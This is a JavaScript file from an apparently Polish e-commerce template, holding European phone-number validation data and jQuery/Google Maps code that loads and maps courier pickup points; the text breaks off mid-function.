3412 lines
344 KiB
JavaScript
3412 lines
344 KiB
JavaScript
// DANE DO WALIDACJI NUMERU TELEFONU
|
|
const countryPhoneData = [
|
|
{
|
|
alpha2: "AT",
|
|
alpha3: "AUT",
|
|
country_code: "43",
|
|
country_name: "Austria",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [10, 11, 12, 13, 14],
|
|
},
|
|
{
|
|
alpha2: "BE",
|
|
alpha3: "BEL",
|
|
country_code: "32",
|
|
country_name: "Belgium",
|
|
mobile_begin_with: ["4", "3"],
|
|
phone_number_lengths: [9, 8],
|
|
},
|
|
{
|
|
alpha2: "BG",
|
|
alpha3: "BGR",
|
|
country_code: "359",
|
|
country_name: "Bulgaria",
|
|
mobile_begin_with: ["87", "88", "89", "98", "99", "43"],
|
|
phone_number_lengths: [8, 9],
|
|
},
|
|
{
|
|
alpha2: "BY",
|
|
alpha3: "BLR",
|
|
country_code: "375",
|
|
country_name: "Belarus",
|
|
mobile_begin_with: ["25", "29", "33", "44"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "CH",
|
|
alpha3: "CHE",
|
|
country_code: "41",
|
|
country_name: "Switzerland",
|
|
mobile_begin_with: ["74", "75", "76", "77", "78", "79"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "CY",
|
|
alpha3: "CYP",
|
|
country_code: "357",
|
|
country_name: "Cyprus",
|
|
mobile_begin_with: ["9"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "CZ",
|
|
alpha3: "CZE",
|
|
country_code: "420",
|
|
country_name: "Czech Republic",
|
|
mobile_begin_with: ["6", "7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "DE",
|
|
alpha3: "DEU",
|
|
country_code: "49",
|
|
country_name: "Germany",
|
|
mobile_begin_with: ["15", "16", "17"],
|
|
phone_number_lengths: [10, 11],
|
|
},
|
|
{
|
|
alpha2: "DK",
|
|
alpha3: "DNK",
|
|
country_code: "45",
|
|
country_name: "Denmark",
|
|
mobile_begin_with: [
|
|
"2",
|
|
"30",
|
|
"31",
|
|
"40",
|
|
"41",
|
|
"42",
|
|
"50",
|
|
"51",
|
|
"52",
|
|
"53",
|
|
"60",
|
|
"61",
|
|
"71",
|
|
"81",
|
|
"91",
|
|
"92",
|
|
"93",
|
|
"342",
|
|
"344",
|
|
"345",
|
|
"346",
|
|
"347",
|
|
"348",
|
|
"349",
|
|
"356",
|
|
"357",
|
|
"359",
|
|
"362",
|
|
"365",
|
|
"366",
|
|
"389",
|
|
"398",
|
|
"431",
|
|
"441",
|
|
"462",
|
|
"466",
|
|
"468",
|
|
"472",
|
|
"474",
|
|
"476",
|
|
"478",
|
|
"485",
|
|
"486",
|
|
"488",
|
|
"489",
|
|
"493",
|
|
"494",
|
|
"495",
|
|
"496",
|
|
"498",
|
|
"499",
|
|
"542",
|
|
"543",
|
|
"545",
|
|
"551",
|
|
"552",
|
|
"556",
|
|
"571",
|
|
"572",
|
|
"573",
|
|
"574",
|
|
"577",
|
|
"579",
|
|
"584",
|
|
"586",
|
|
"587",
|
|
"589",
|
|
"597",
|
|
"598",
|
|
"627",
|
|
"629",
|
|
"641",
|
|
"649",
|
|
"658",
|
|
"662",
|
|
"663",
|
|
"664",
|
|
"665",
|
|
"667",
|
|
"692",
|
|
"693",
|
|
"694",
|
|
"697",
|
|
"771",
|
|
"772",
|
|
"782",
|
|
"783",
|
|
"785",
|
|
"786",
|
|
"788",
|
|
"789",
|
|
"826",
|
|
"827",
|
|
"829",
|
|
],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "ES",
|
|
alpha3: "ESP",
|
|
country_code: "34",
|
|
country_name: "Spain",
|
|
mobile_begin_with: ["6", "7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "EE",
|
|
alpha3: "EST",
|
|
country_code: "372",
|
|
country_name: "Estonia",
|
|
mobile_begin_with: ["5", "81", "82", "83"],
|
|
phone_number_lengths: [7, 8],
|
|
},
|
|
{
|
|
alpha2: "FI",
|
|
alpha3: "FIN",
|
|
country_code: "358",
|
|
country_name: "Finland",
|
|
mobile_begin_with: ["4", "5"],
|
|
phone_number_lengths: [9, 10],
|
|
},
|
|
{
|
|
alpha2: "FR",
|
|
alpha3: "FRA",
|
|
country_code: "33",
|
|
country_name: "France",
|
|
mobile_begin_with: ["6", "7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "GB",
|
|
alpha3: "GBR",
|
|
country_code: "44",
|
|
country_name: "United Kingdom",
|
|
mobile_begin_with: ["7"],
|
|
phone_number_lengths: [10],
|
|
},
|
|
{
|
|
alpha2: "GE",
|
|
alpha3: "GEO",
|
|
country_code: "995",
|
|
country_name: "Georgia",
|
|
mobile_begin_with: ["5", "7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "GI",
|
|
alpha3: "GIB",
|
|
country_code: "350",
|
|
country_name: "Gibraltar",
|
|
mobile_begin_with: ["5"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "GR",
|
|
alpha3: "GRC",
|
|
country_code: "30",
|
|
country_name: "Greece",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [10],
|
|
},
|
|
{
|
|
alpha2: "HR",
|
|
alpha3: "HRV",
|
|
country_code: "385",
|
|
country_name: "Croatia",
|
|
mobile_begin_with: ["9"],
|
|
phone_number_lengths: [8, 9],
|
|
},
|
|
{
|
|
alpha2: "IE",
|
|
alpha3: "IRL",
|
|
country_code: "353",
|
|
country_name: "Ireland",
|
|
mobile_begin_with: ["82", "83", "84", "85", "86", "87", "88", "89"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "IS",
|
|
alpha3: "ISL",
|
|
country_code: "354",
|
|
country_name: "Iceland",
|
|
mobile_begin_with: ["6", "7", "8"],
|
|
phone_number_lengths: [7],
|
|
},
|
|
{
|
|
alpha2: "IT",
|
|
alpha3: "ITA",
|
|
country_code: "39",
|
|
country_name: "Italy",
|
|
mobile_begin_with: ["3"],
|
|
phone_number_lengths: [9, 10],
|
|
},
|
|
{
|
|
alpha2: "LI",
|
|
alpha3: "LIE",
|
|
country_code: "423",
|
|
country_name: "Liechtenstein",
|
|
mobile_begin_with: ["7"],
|
|
phone_number_lengths: [7],
|
|
},
|
|
{
|
|
alpha2: "LT",
|
|
alpha3: "LTU",
|
|
country_code: "370",
|
|
country_name: "Lithuania",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "LU",
|
|
alpha3: "LUX",
|
|
country_code: "352",
|
|
country_name: "Luxembourg",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "LV",
|
|
alpha3: "LVA",
|
|
country_code: "371",
|
|
country_name: "Latvia",
|
|
mobile_begin_with: ["2"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "MC",
|
|
alpha3: "MCO",
|
|
country_code: "377",
|
|
country_name: "Monaco",
|
|
mobile_begin_with: ["4", "6"],
|
|
phone_number_lengths: [8, 9],
|
|
},
|
|
{
|
|
alpha2: "MD",
|
|
alpha3: "MDA",
|
|
country_code: "373",
|
|
country_name: "Moldova, Republic of",
|
|
mobile_begin_with: ["6", "7"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "MK",
|
|
alpha3: "MKD",
|
|
country_code: "389",
|
|
country_name: "Macedonia, the Former Yugoslav Republic Of",
|
|
mobile_begin_with: ["7"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "ME",
|
|
alpha3: "MNE",
|
|
country_code: "382",
|
|
country_name: "Montenegro",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "NL",
|
|
alpha3: "NLD",
|
|
country_code: "31",
|
|
country_name: "Netherlands",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "NO",
|
|
alpha3: "NOR",
|
|
country_code: "47",
|
|
country_name: "Norway",
|
|
mobile_begin_with: ["4", "9"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "PL",
|
|
alpha3: "POL",
|
|
country_code: "48",
|
|
country_name: "Poland",
|
|
mobile_begin_with: ["4", "5", "6", "7", "8"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "PT",
|
|
alpha3: "PRT",
|
|
country_code: "351",
|
|
country_name: "Portugal",
|
|
mobile_begin_with: ["9"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "RO",
|
|
alpha3: "ROU",
|
|
country_code: "40",
|
|
country_name: "Romania",
|
|
mobile_begin_with: ["7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "RU",
|
|
alpha3: "RUS",
|
|
country_code: "7",
|
|
country_name: "Russian Federation",
|
|
mobile_begin_with: ["9", "495", "498", "499", "835"],
|
|
phone_number_lengths: [10],
|
|
},
|
|
{
|
|
alpha2: "RS",
|
|
alpha3: "SRB",
|
|
country_code: "381",
|
|
country_name: "Serbia",
|
|
mobile_begin_with: ["6"],
|
|
phone_number_lengths: [8, 9],
|
|
},
|
|
{
|
|
alpha2: "SK",
|
|
alpha3: "SVK",
|
|
country_code: "421",
|
|
country_name: "Slovakia",
|
|
mobile_begin_with: ["9"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "SI",
|
|
alpha3: "SVN",
|
|
country_code: "386",
|
|
country_name: "Slovenia",
|
|
mobile_begin_with: ["3", "4", "5", "6", "7"],
|
|
phone_number_lengths: [8],
|
|
},
|
|
{
|
|
alpha2: "SE",
|
|
alpha3: "SWE",
|
|
country_code: "46",
|
|
country_name: "Sweden",
|
|
mobile_begin_with: ["7"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
{
|
|
alpha2: "TR",
|
|
alpha3: "TUR",
|
|
country_code: "90",
|
|
country_name: "Turkey",
|
|
mobile_begin_with: ["5"],
|
|
phone_number_lengths: [10],
|
|
},
|
|
{
|
|
alpha2: "UA",
|
|
alpha3: "UKR",
|
|
country_code: "380",
|
|
country_name: "Ukraine",
|
|
mobile_begin_with: ["39", "50", "63", "66", "67", "68", "73", "9"],
|
|
phone_number_lengths: [9],
|
|
},
|
|
];
|
|
|
|
// LEAFLET MAP
|
|
var stocks_list_more_txt=<iai:variable vid="więcej informacji" />;var stocks_list_choose=<iai:variable vid="Wybierz" />;var pickupl_nopoints=<iai:variable vid="Wpisz inny adres, brak punktów odbioru" />;var mapTooltipLink_class="btn-small";var autocompleteData=[];var ajaxGetPickupNoMap=function (){$(".mapContainer_pickup, .pickupl_submit").show();var options={courierId:pickup_sites.courierId, isCod:pickup_sites.isCod};$.ajax({type:"GET", url:"/ajax/getPickups.php", data:options, dataType:"json", success:function (json){if (!json.pickupPoints.length){Alertek.show_alert(pickupl_nopoints);$(".loadingMap").hide();return false}setPickupPointsNoMap(json)}, error:function (){orderdetails_payments.ajaxLoadSite(0);$(".no_google_api_key div.asideContainer_pickup").show();Alertek.show_alert(pickupl_error)}})};var setPickupPointsNoMap=function (json){var pickup_clone_tmp=$("#pickup_copy").clone();var pickups="";for (i in json.pickupPoints){var pickup=json.pickupPoints[i];var pickup_street=pickup.address.buildingAndHouseNumber !="" ? pickup.address.street + " " + pickup.address.buildingAndHouseNumber :pickup.address.street;pickup_clone=pickup_clone_tmp.clone();pickup_clone.find("input[name=pickup_point], input[name=stock]").attr("id", "pickup_point_" + pickup.id).val(pickup.id);pickup_clone.find("label").attr({id:"pp_" + pickup.id, "data-latitude":pickup.coordinates.latitude, "data-longitude":pickup.coordinates.longitude, "data-id":pickup.id, "data-requires_client_number":pickup.requiresClientNumber, for:"pickup_point_" + pickup.id});if (pickup.coordinates.longitude){pickup_clone.find("label .map_dir").attr("href", "https://www.google.com/maps/dir/?api=1&destination=" + pickup.coordinates.latitude + "," + pickup.coordinates.longitude)}else{pickup_clone.find("label .map_dir").attr("href", "https://maps.google.com?saddr=Current+Location&daddr=" + pickup.address.street + "+" + pickup.address.postcode + "+" + pickup.address.city)}pickup_clone.find("b.headerText").text(pickup.name);pickup_clone.find("span.streetText").text(pickup_street);pickup_clone.find("span.zipcodePickup").html(pickup.address.postcode + ' <span class="cityText">' + pickup.address.city + "</span>");pickup_clone.find("div.moreText").text(pickup.location);pickup_clone.find("a.moreLink").attr("href", pickup.link);if (!pickup.requiresClientNumber){pickup_clone.find("input[name=client_courier_number]").remove()}pickups +=pickup_clone.html();autocompleteData.push({label:pickup.address.city + ", " + pickup.address.street + " " + pickup.address.buildingAndHouseNumber + " " + pickup.address.postcode + " " + pickup.id, value:pickup.address.city + ", " + pickup.address.street + " " + pickup.address.buildingAndHouseNumber + ", " + pickup.id, description:pickup.location, id:pickup.id})}$("#pickup_site .asideContainer_pickup").html(pickups);var accentMap={"ł":"l", "ó":"o", "ź":"z", "ś":"s", ",":"", " ":" "};var normalize=function (term){var ret="";var term=term.toLowerCase();for (var i=0;i < term.length;i++){ret +=accentMap[term.charAt(i)] || term.charAt(i)}return ret.toLowerCase()}};var pickup_sites={geokoder:0, mapa:0, zoom:0, markerIcon:0, language:0, markersArray:[], contentsArray:[], markerInfo:0, timeout:0, loadNavBoolPickup:false, pickupCount:0, pickupIteration:0, pickupFind:0, pickupFirstActive:true, calendar:{}, markerAnimation:0, pickupsType:0, google_api_key:"", courierId:app_shop.vars.courierId, isCod:false, search_lat:"", search_lng:"", markerClusters:"", ClusterMaxZoom:13, minimumClusterSize:10, autocomplete:false, adress:{street_number:"", route:"", locality:"", administrative_area_level_1:"", country:"", postal_code:""}, fillInAddress:function (place, manual){pickup_sites.adress={street_number:"", route:"", locality:"", administrative_area_level_1:"", country:"", postal_code:""};var componentForm={street_number:"short_name", route:"long_name", locality:"long_name", administrative_area_level_1:"short_name", country:"long_name", postal_code:"short_name"};pickup_sites.search_lat="";pickup_sites.search_lng="";if (place && !place.geometry) return false;if (!place){$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_select_adress + "</div>");$(".loadingMap").hide();return false}else{$(".mapContainer_pickup, .asideContainer_pickup, .pickupl_submit, #pickup_map").show()}pickup_sites.search_lat=place.geometry.location.lat();pickup_sites.search_lng=place.geometry.location.lng();for (var i=0;i < place.address_components.length;i++){var addressType=place.address_components[i].types[0];if (componentForm[addressType]){var val=place.address_components[i][componentForm[addressType]];pickup_sites.adress[addressType]=val}}if (manual){var inputValue="";if (pickup_sites.adress.route){inputValue +=pickup_sites.adress.route;if (pickup_sites.adress.street_number){inputValue +=" " + pickup_sites.adress.street_number}}if (pickup_sites.adress.locality){if (pickup_sites.adress.route){inputValue +=", "}inputValue +=pickup_sites.adress.locality}if (pickup_sites.adress.country){if (pickup_sites.adress.locality){inputValue +=", "}inputValue +=pickup_sites.adress.country}$("#autocomplete_location").val(inputValue)}}, getLocation:function (){if (pickup_sites.search_lat=="" && pickup_sites.search_lng==""){pickup_sites.geokoder.geocode({address:$("#autocomplete_location").val()}, function (json, status){var point=json && json.length ? json[0] :null;pickup_sites.fillInAddress(point, true);pickup_sites.ajaxGetPickup(false)})}else{pickup_sites.ajaxGetPickup(false)}}, ajaxGetPickup:function (radius){$("div.asideContainer_pickup .menu_messages_message").remove();var filterJSON=false;if (!pickup_sites.adress.locality){$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_select_adress + "</div>");$(".loadingMap").hide();return false}else{$(".mapContainer_pickup, .asideContainer_pickup, .pickupl_submit, #pickup_map").show()}$("label.pickup_point").hide();$("div.loadingMap").fadeIn("normal", function (){});$("span.loadingMarkers").hide();var options={courierId:pickup_sites.courierId, "location[latitude]":pickup_sites.search_lat, "location[longitude]":pickup_sites.search_lng, isCod:pickup_sites.isCod};if (radius){function getRadius(){var curr_zoom=pickup_sites.mapa.getZoom();if (curr_zoom >=15){return 1}else if (curr_zoom==14){return 2}else if (curr_zoom==13){return 4}else if (curr_zoom==12){return 7}else if (curr_zoom==11){return 10}else if (curr_zoom==10){return 15}else{return 20}}var options={courierId:pickup_sites.courierId, "location[latitude]":pickup_sites.search_lat, "location[longitude]":pickup_sites.search_lng, radius:getRadius(), isCod:pickup_sites.isCod}}$.ajax({type:"GET", url:"/ajax/getPickups.php", data:options, dataType:"json", success:function (json){if (!jQuery.isEmptyObject(selected_pickup_point)){for (i in json.pickupPoints){if (json.pickupPoints[i].id==selected_pickup_point.id){delete json.pickupPoints[i]}}json.pickupPoints.unshift(selected_pickup_point)}if (!json.pickupPoints.length){if (radius){$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints_in_area + "</div>")}else{$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints + "</div>")}$(".loadingMap").hide();return false}if (!pickup_sites.adress.route){for (i in json.pickupPoints){if ($.trim(json.pickupPoints[i].address.city).toLowerCase()==$.trim(pickup_sites.adress.locality).toLowerCase()){options.radius=30;$.ajax({type:"GET", url:"/ajax/getPickups.php", data:options, dataType:"json", success:function (json){setPickupPoints(json, true)}, error:function (){}});return false}}}setPickupPoints(json, false)}, error:function (){$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_error + "</div>")}})}, showSel:function (){pickup_sites.pickupCount=$(".asideContainer_pickup .pickup_point").length;pickup_sites.pickupIteration=0;$("div.loadingMap").fadeIn("normal", function (){});$("span.loadingMap").hide();$("span.loadingMarkers").css("display", "block");$("span.loadingMarkersCount").text(pickup_sites.pickupCount);$("span.loadingMarkersComplete").text(pickup_sites.pickupIteration);pickup_sites.markersArray=[];var adresData=[];$(".asideContainer_pickup .pickup_point").each(function (index){$this=$(this);adresData[index]={};adresData[index].idek=$this.data("id");adresData[index].headerText=$.trim($this.find(".headerText").text());adresData[index].streetText=$this.find(".streetText").text();adresData[index].cityText=$.trim($this.find(".cityText").text());adresData[index].moreText=$.trim($this.find(".moreLink").text());adresData[index].moreLink=$.trim($this.find(".moreLink").attr("href"));adresData[index].infoText=$.trim($this.find(".infoText").text());adresData[index].timeText=$.trim($this.find(".timeText").text());adresData[index].latitude=$.trim($this.data("latitude"));adresData[index].longitude=$.trim($this.data("longitude"));adresData[index].icon=$.trim($this.data("icon"))});var adresRow="";while (adresRow=adresData.pop()){if (adresRow.latitude && adresRow.longitude){pickup_sites.findAdres(adresRow.headerText, adresRow.streetText, adresRow.cityText, adresRow.moreText, adresRow.moreLink, adresRow.infoText, adresRow.timeText, "none", "another", false, adresRow.idek, adresRow.latitude, adresRow.longitude, adresRow.icon)}else{(function (adresRow){setTimeout(function (){pickup_sites.findAdres(adresRow.headerText, adresRow.streetText, adresRow.cityText, adresRow.moreText, adresRow.moreLink, adresRow.infoText, adresRow.timeText, "none", "another", false, adresRow.idek, adresRow.latitude, adresRow.longitude, adresRow.icon)}, pickup_sites.timeout)})(adresRow)}}}, printDates:function (stockId){if (!$("#selectPickupDay").size()) return false;var postData={stock_id:stockId};$.ajax({type:"GET", url:"/ajax/basket-delivery.php", data:postData, dataType:"json", success:function (json){if (!json){$("#selectPickupDayWrapper").hide();return false}$("#selectPickupDay").html("");$.each(json, function (index, data){$("#selectPickupDay").append('<label class="pickupl_date"><input name="calendar_select_date" type="radio" class="pickupl_radio" value="' + data.date + '"></input><div class="pickupl_date_sub"><span class="pickupl_date_day">' + data.d + '</span><span class="pickupl_date_month">' + iaical_monthNames[data.m - 1] + "</span></div></label>")});$("#selectPickupDayWrapper").show();$(".pickupl_hour_wrapper").show();$('#selectPickupDay [name="calendar_select_date"]').eq(1).prop("checked", true)}, error:function (){Alertek.show_alert(pickupl_error)}})}, setZoom:function (){var bounds=new google.maps.LatLngBounds;for (var i in pickup_sites.markersArray){bounds.extend(pickup_sites.markersArray[i].getPosition())}pickup_sites.mapa.setCenter(bounds.getCenter());pickup_sites.mapa.fitBounds(bounds);pickup_sites.mapa.setZoom(pickup_sites.mapa.getZoom());if (pickup_sites.mapa.getZoom() > 15){pickup_sites.mapa.setZoom(15)}}, mapInit:function (){if ($("#mymap").length){return false}if ($("#autocomplete_location").size() && !$("#mymap").size()){pickup_sites.autocomplete=new google.maps.places.Autocomplete(document.getElementById("autocomplete_location"));$("label.pickup_point").hide()}pickup_sites.zoom=pickupsZoom;pickup_sites.geokoder=new google.maps.Geocoder;var wspolrzedne=new google.maps.LatLng(parseInt(bCordPickups), parseInt(lCordPickups));if (markersAnimationPickups !="") pickup_sites.markerAnimation=true;else pickup_sites.markerAnimation=false;if (markerPickupsCustomIcon !="") markerPickupsCustomIcon=true;else markerPickupsCustomIcon=false;if (mapTypePickups=="ROADMAP") var mapStyle=google.maps.MapTypeId.ROADMAP;else if (mapTypePickups=="SATELLITE") var mapStyle=google.maps.MapTypeId.SATELLITE;else if (mapTypePickups=="HYBRID") var mapStyle=google.maps.MapTypeId.HYBRID;else if (mapTypePickups=="TERRAIN") var mapStyle=google.maps.MapTypeId.TERRAIN;else var mapStyle=google.maps.MapTypeId.ROADMAP;if (navControlPickups !="") navControlPickups=true;else navControlPickups=false;if (mapTypeControlPickups !="") mapTypeControlPickups=true;else mapTypeControlPickups=false;if (scControlPickups !="") scControlPickups=true;else scControlPickups=false;if (controlTypePickups=="ZOOM_PAN") var controlStyle=google.maps.NavigationControlStyle.ZOOM_PAN;else if (controlTypePickups=="SMALL") var controlStyle=google.maps.NavigationControlStyle.SMALL;else if (controlTypePickups=="ANDROID") var controlStyle=google.maps.NavigationControlStyle.ANDROID;else var controlStyle=google.maps.NavigationControlStyle.ZOOM_PAN;if (mapTypeControlStylePickups=="DROPDOWN_MENU") var TypeControlStyle=google.maps.MapTypeControlStyle.DROPDOWN_MENU;else if (mapTypeControlStylePickups=="HORIZONTAL_BAR") var TypeControltyle=google.maps.MapTypeControlStyle.HORIZONTAL_BAR;else var TypeControlStyle=google.maps.MapTypeControlStyle.DROPDOWN_MENU;if ($("img.marker_face").attr("src") !="" && markerPickupsCustomIcon){var markerIconSize=new google.maps.Size($("img.marker_face").width(), $("img.marker_face").height());var punkt_startowy=new google.maps.Point(0, 0);var punkt_zaczepienia=new google.maps.Point(parseInt($("img.marker_face").width() / 2), parseInt($("img.marker_face").height() / 2));pickup_sites.markerIcon=new google.maps.MarkerImage($("img.marker_face").attr("src"), markerIconSize, punkt_startowy, punkt_zaczepienia)}if (window["google_map_style_array"]){var mapOptions={gestureHandling:"cooperative", zoom:pickup_sites.zoom, center:wspolrzedne, mapTypeId:mapStyle, navigationControl:navControlPickups, mapTypeControl:mapTypeControlPickups, scaleControl:scControlPickups, styles:google_map_style_array, navigationControlOptions:{style:controlStyle}, mapTypeControlOptions:{style:TypeControlStyle}}}else{var mapOptions={gestureHandling:"cooperative", zoom:pickup_sites.zoom, center:wspolrzedne, mapTypeId:mapStyle, navigationControl:navControlPickups, mapTypeControl:mapTypeControlPickups, scaleControl:scControlPickups, navigationControlOptions:{style:controlStyle}, mapTypeControlOptions:{style:TypeControlStyle}}}if (pickup_sites.google_api_key===""){$(".pickupl_sel").removeAttr("disabled");$("div#ps_other").css("opacity", "1.0");$("div#ps_other").css("cursor", "pointer")}pickup_sites.mapa=new google.maps.Map(document.getElementById("pickup_map"), mapOptions);pickup_sites.markerInfo=new google.maps.InfoWindow;google.maps.event.addListener(pickup_sites.mapa, "idle", function (){$("span.loadingMap").text($("span.loadingNav").text())});if (pickup_sites.autocomplete){pickup_sites.autocomplete.addListener("place_changed", function (){var place=pickup_sites.autocomplete.getPlace();pickup_sites.fillInAddress(place, false);pickup_sites.getLocation()});pickup_sites.getLocation()}else{pickup_sites.showSel()}}, markerClickFunction:function (latlng, content){return function (e){e.cancelBubble=true;e.returnValue=false;if (e.stopPropagation){e.stopPropagation();e.preventDefault()}pickup_sites.infoWindow.setContent(content);pickup_sites.infoWindow.setPosition(latlng);pickup_sites.infoWindow.open(pickup_sites.mapa)}}, geokoderPrepare:function (point, status, headerText, streetText, cityText, moreText, moreLink, infoText, timeText, className, other, open, idek, latitude, longitude, icon){if (status==google.maps.GeocoderStatus.OK){pickup_sites.timeout=100;pickup_sites.pickupIteration++;pickup_sites.pickupFind++;var content='<div class="mapTooltip"><b class="mapTooltipName">' + headerText + "</b>";content +='<div class="mapTooltipAdress"><span>' + streetText + " </span> <span>" + cityText + "</span></div>";if (infoText){content +='<div class="mapTooltipComment">' + infoText + "</div>"}content +='<div class="mapTooltipTime">' + timeText + "</div>";if (moreLink){if (mapTooltipLink_class==="") content +='<div class="mapTooltipLink"><a class="btn-small" title="Zobacz szczegółowe informacje" href="' + moreLink + '" target="_blank">' + moreText + "</a></div>";else content +='<div class="mapTooltipLink"><a class="' + mapTooltipLink_class + '" title="Zobacz szczegółowe informacje" href="' + moreLink + '" target="_blank">' + moreText + "</a></div>"}content +="</div>";var opcjeMarkera={title:headerText, pickupPointID:idek};opcjeMarkera.position=point;opcjeMarkera.map=pickup_sites.mapa;if (pickup_sites.markerAnimation) opcjeMarkera.animation=google.maps.Animation.DROP;if (icon && icon !=""){opcjeMarkera.icon=icon}else{if ($("img.marker_face").attr("src") !="" && markerPickupsCustomIcon){opcjeMarkera.icon=pickup_sites.markerIcon}}var marker=new google.maps.Marker(opcjeMarkera);pickup_sites.markersArray.push(marker);google.maps.event.addListener(marker, "click", function (marker, i){return function (e){e.cancelBubble=true;e.returnValue=false;if (e.stopPropagation){e.stopPropagation();e.preventDefault()}pickup_sites.markerInfo.setContent(content);pickup_sites.markerInfo.open(pickup_sites.mapa, marker);$('.asideContainer_pickup [value="' + marker.pickupPointID + '"]').prop("checked", true);$(".asideContainer_pickup").scrollTop(0);$(".asideContainer_pickup").scrollTop($('#pickup_site [name="pickup_point"]:checked + label').position().top)}}(marker, i));var pickupItem=$('.asideContainer_pickup [value="' + marker.pickupPointID + '"]').get(0);$('label[for="pickup_point_' + marker.pickupPointID + '"]').show().fadeTo("slow", 1);google.maps.event.addDomListener(pickupItem, "click", function (marker, i){return function (e){$('.asideContainer_pickup [value="' + marker.pickupPointID + '"]').prop("checked", true);pickup_sites.markerInfo.setContent(content);pickup_sites.mapa.setCenter(opcjeMarkera.position);if (pickup_sites.mapa.getZoom() < pickup_sites.ClusterMaxZoom){pickup_sites.mapa.setZoom(pickup_sites.ClusterMaxZoom + 1)}pickup_sites.markerInfo.open(pickup_sites.mapa, marker)}}(marker, i));if (pickup_sites.pickupIteration < pickup_sites.pickupCount){$("span.loadingMarkersComplete").text(pickup_sites.pickupIteration)}if (pickup_sites.pickupIteration >=pickup_sites.pickupCount){setTimeout(function (){$("div.loadingMap").fadeOut("normal", function (){});var _src=$('.markerCluster[src*="m1.png"]').attr("src");var _imagePath=_src.substring(0, _src.indexOf("1.png"));pickup_sites.setZoom();var create_map_selected_point=true;if (pickup_sites.mapa.zoom < pickup_sites.ClusterMaxZoom && !jQuery.isEmptyObject(selected_pickup_point)){pickup_sites.minimumClusterSizeTMP=2}else{create_map_selected_point=false;pickup_sites.minimumClusterSizeTMP=pickup_sites.minimumClusterSize}if (!pickup_sites.markerClusters || create_map_selected_point){pickup_sites.markerClusters=new MarkerClusterer(pickup_sites.mapa, pickup_sites.markersArray,{imagePath:_imagePath, maxZoom:pickup_sites.ClusterMaxZoom, minimumClusterSize:pickup_sites.minimumClusterSizeTMP})}else{pickup_sites.markerClusters.clearMarkers();pickup_sites.markerClusters.addMarkers(pickup_sites.markersArray)}if (!jQuery.isEmptyObject(selected_pickup_point)){$("label.pickup_point:first-of-type").prev().prop("checked", true);pickup_sites.markerInfo.setContent(content);pickup_sites.markerInfo.open(pickup_sites.mapa, pickup_sites.markersArray[pickup_sites.markersArray.length - 1]);selected_pickup_point={}}}, 300)}}else if (status==google.maps.GeocoderStatus.OVER_QUERY_LIMIT){pickup_sites.timeout +=50;setTimeout(function (){pickup_sites.findAdres(headerText, streetText, cityText, moreText, moreLink, infoText, timeText, className, other, open, idek, latitude, longitude, icon)}, pickup_sites.timeout)}else{pickup_sites.pickupIteration++;if (pickup_sites.pickupIteration <=pickup_sites.pickupCount) $("span.loadingMarkersComplete").text(pickup_sites.pickupIteration);if (pickup_sites.pickupIteration >=pickup_sites.pickupCount){setTimeout(function (){$("div.loadingMap").fadeOut("normal", function (){});var _src=$('.markerCluster[src*="m1.png"]').attr("src");var _imagePath=_src.substring(0, _src.indexOf("1.png") - 1);pickup_sites.setZoom();var create_map_selected_point=true;if (pickup_sites.mapa.zoom < pickup_sites.ClusterMaxZoom && !jQuery.isEmptyObject(selected_pickup_point)){pickup_sites.minimumClusterSizeTMP=2;selected_pickup_point={}}else{create_map_selected_point=false;pickup_sites.minimumClusterSizeTMP=pickup_sites.minimumClusterSize}if (!pickup_sites.markerClusters || create_map_selected_point){pickup_sites.markerClusters=new MarkerClusterer(pickup_sites.mapa, pickup_sites.markersArray,{imagePath:_imagePath, maxZoom:pickup_sites.ClusterMaxZoom, minimumClusterSize:pickup_sites.minimumClusterSizeTMP})}else{pickup_sites.markerClusters.clearMarkers();pickup_sites.markerClusters.addMarkers(pickup_sites.markersArray)}}, 300)}}}, findAdres:function (headerText, streetText, cityText, moreText, moreLink, infoText, timeText, className, other, open, idek, latitude, longitude, icon){var adres=streetText + " , " + cityText;if (latitude && longitude){var point=new google.maps.LatLng(latitude, longitude);pickup_sites.geokoderPrepare(point, "OK", headerText, streetText, cityText, moreText, moreLink, infoText, timeText, className, other, open, idek, latitude, longitude, icon)}else{pickup_sites.geokoder.geocode({address:adres}, function (wyniki, 